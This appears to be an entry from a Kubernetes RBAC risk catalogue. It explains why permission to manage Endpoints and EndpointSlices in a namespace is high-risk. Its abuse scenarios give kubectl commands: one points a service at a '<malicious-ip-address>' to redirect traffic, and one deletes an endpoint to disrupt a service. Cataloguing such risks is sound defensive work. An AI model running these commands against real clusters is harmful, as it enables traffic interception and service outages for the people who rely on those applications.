Manage Endpoints or EndpointSlices in a namespace

Overview

Field	Value
ID	1074
Name	Manage Endpoints or EndpointSlices in a namespace
Risk Category	NetworkManipulation
Risk Level	High
Role Type	Role
API Groups	core, discovery.k8s.io
Resources	endpoints, endpointslices
Verbs	create, update, patch, delete, get, list
Tags	DenialOfService NetworkManipulation Tampering TrafficRedirection

Description

Permits creating, updating, or deleting Endpoints/EndpointSlices for services within a specific namespace. This can lead to traffic redirection, denial of service, or network policy bypass for applications within that namespace.

Abuse Scenarios

Create a new Endpoint to redirect traffic for a service in the namespace.

kubectl create -n <namespace> -f - <<EOF
apiVersion: v1
kind: Endpoints
metadata:
  name: <service-name> # Must match an existing service name
subsets:
  - addresses:
      - ip: <malicious-ip-address>
    ports:
      - port: <service-port>
EOF
# Example: kubectl create -n default -f - <<EOF ... EOF (redirect 'my-app-service')

Delete an existing Endpoint within the namespace, causing service disruption.

kubectl delete endpoint <endpoint-name> -n <namespace>
# Example: kubectl delete endpoint my-frontend-service -n default